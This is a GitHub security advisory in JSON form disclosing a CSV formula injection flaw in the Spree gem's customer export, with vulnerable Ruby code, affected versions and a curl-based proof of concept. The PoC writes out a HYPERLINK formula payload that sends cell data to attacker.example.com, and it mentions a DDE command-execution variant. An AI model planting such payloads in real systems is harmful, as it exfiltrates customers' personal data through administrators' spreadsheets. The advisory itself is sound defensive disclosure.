1 line
6.9 KiB
JSON
1 line
6.9 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-xf4v-w5x5-pv79","published":"2026-06-04T18:46:04Z","modified":"2026-06-04T19:01:05.171649839Z","summary":"Spree: CSV Formula Injection in Customer Export","details":"### Summary\n\nCSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted\nExport in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the\ncontext of the administrator's desktop, potentially exfiltrating data or executing OS commands\nvia DDE (Dynamic Data Exchange).\n\n---\n\n### Details\n\n#### Affected presenters and fields\n\n| Presenter | Path | User-controlled fields |\n|---|---|---|\n| `CustomerPresenter` | `spree/core/app/presenters/spree/csv/customer_presenter.rb:36` | `first_name`, `last_name`, `address1`, `address2`, `city`, `phone` |\n\n#### Vulnerable code — `customer_presenter.rb` (representative example)\n\n```ruby\n# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53\ndef call\n csv = [\n customer.first_name, # ← written verbatim; may contain =HYPERLINK(...)\n customer.last_name, # ← user-controlled\n customer.email, \n customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),\n customer.address&.company, # ← user-controlled\n customer.address&.address1, # ← user-controlled\n customer.address&.address2, # ← user-controlled\n customer.address&.city, # ← user-controlled\n customer.address&.state_text,\n customer.address&.state_abbr,\n customer.address&.country&.name,\n customer.address&.country&.iso,\n customer.address&.zipcode,\n customer.phone, # ← user-controlled\n customer.amount_spent_in(Spree::Store.current.default_currency),\n customer.completed_orders.count,\n ]\n csv += metafields_for_csv(customer)\n csv\nend\n```\n\n---\n\n### PoC\n\n**Precondition**: A Spree store with public customer registration enabled (default\nconfiguration). No special permissions required for the attacker.\n\n#### Step 1 — Register as a customer with an injected first name\n\n```bash\ncurl -X POST https://store.example.com/api/v3/store/customers \\\n -H \"Content-Type: application/json\" \\\n -H \"X-Spree-Api-Key: pk_<publishable_api_key>\" \\\n -d '{\n \"email\": \"attacker@evil.com\",\n \"password\": \"password123\",\n \"password_confirmation\": \"password123\",\n \"first_name\": \"=HYPERLINK(\\\"http://attacker.example.com/exfil?d=\\\"&B1,\\\"Click\\\")\",\n \"last_name\": \"Smith\"\n }'\n```\n\n#### Step 2 — Admin triggers a customer export\n\n```bash\ncurl -X POST https://store.example.com/api/v3/admin/exports \\\n -H \"Authorization: Bearer <admin_jwt>\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"type\": \"Spree::Exports::Customers\", \"record_selection\": \"all\"}'\n```\n\n#### Step 3 — Admin polls until ready, then downloads\n\n```bash\n# Poll for completion\ncurl https://store.example.com/api/v3/admin/exports/<export_id> \\\n -H \"Authorization: Bearer <admin_jwt>\"\n\n# Download\ncurl https://store.example.com/api/v3/admin/exports/<export_id>/download \\\n -H \"Authorization: Bearer <admin_jwt>\" \\\n -o customers.csv\n```\n\n#### Step 4 — Verify injection in the raw CSV (without opening in Excel)\n\nOpen `customers.csv` in a text editor. The first data row will contain:\n\n```\n\"=HYPERLINK(\"\"http://attacker.example.com/exfil?d=\"\"&B1,\"\"Click\"\")\",\"Smith\",\"attacker@evil.com\",...\n```\n\n#### Step 5 — Admin opens `customers.csv` in Microsoft Excel (Windows)\n\n- Excel warns about external data connections; if the administrator clicks **Enable**, the\n `HYPERLINK` formula fires and sends a GET request to `http://attacker.example.com/exfil?d=<B1_value>`.\n- Cell B1 in the customers export is the **Last Name** column. Adjacent columns contain\n email, address, and order total data for all exported customers.\n- With the DDE variant (`=CMD|...`) on older or unpatched Excel versions, a subprocess\n is launched on the administrator's machine.\n\n---\n\n### Impact\n\n**Vulnerability class**: CSV / Formula Injection (CWE-1236)\n\n#### Who is impacted\n\n- **Administrators** who download and open export files in spreadsheet software are the\n direct victims. Administrative accounts have access to all store data, payment method\n configurations, customer PII, and full order history.\n\n#### Realistic attack chain\n\n| Step | Actor | Action | Privilege required |\n|---|---|---|---|\n| 1 | Attacker | Registers as customer | Public registration |\n| 2 | Attacker | Sets `first_name` to formula payload | None beyond registration |\n| 3 | Admin | Runs a routine weekly/monthly export | Normal operational task |\n| 4 | Admin | Opens CSV in Excel | None |\n| 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |\n\n#### Data at risk\n\nAll data visible to the administrator in the spreadsheet at the time of opening, including:\n\n- All exported customer emails, names, addresses, phone numbers\n- Order totals and purchase history\n- Any other columns in the same export file","affected":[{"package":{"name":"spree","ecosystem":"RubyGems","purl":"pkg:gem/spree"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.0"},{"fixed":"5.2.8"}]}],"versions":["5.2.0","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","5.2.6","5.2.7"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-xf4v-w5x5-pv79/GHSA-xf4v-w5x5-pv79.json"}},{"package":{"name":"spree","ecosystem":"RubyGems","purl":"pkg:gem/spree"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.3.0"},{"fixed":"5.3.6"}]}],"versions":["5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.3.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-xf4v-w5x5-pv79/GHSA-xf4v-w5x5-pv79.json"}},{"package":{"name":"spree","ecosystem":"RubyGems","purl":"pkg:gem/spree"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.4.0"},{"fixed":"5.4.3"}]}],"versions":["5.4.0","5.4.1","5.4.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-xf4v-w5x5-pv79/GHSA-xf4v-w5x5-pv79.json"}}],"references":[{"type":"WEB","url":"https://github.com/spree/spree/security/advisories/GHSA-xf4v-w5x5-pv79"},{"type":"PACKAGE","url":"https://github.com/spree/spree"},{"type":"WEB","url":"https://github.com/spree/spree/releases/tag/v5.2.8"},{"type":"WEB","url":"https://github.com/spree/spree/releases/tag/v5.3.6"},{"type":"WEB","url":"https://github.com/spree/spree/releases/tag/v5.4.3"}],"database_specific":{"cwe_ids":["CWE-1236"],"github_reviewed":true,"github_reviewed_at":"2026-06-04T18:46:04Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"}]} |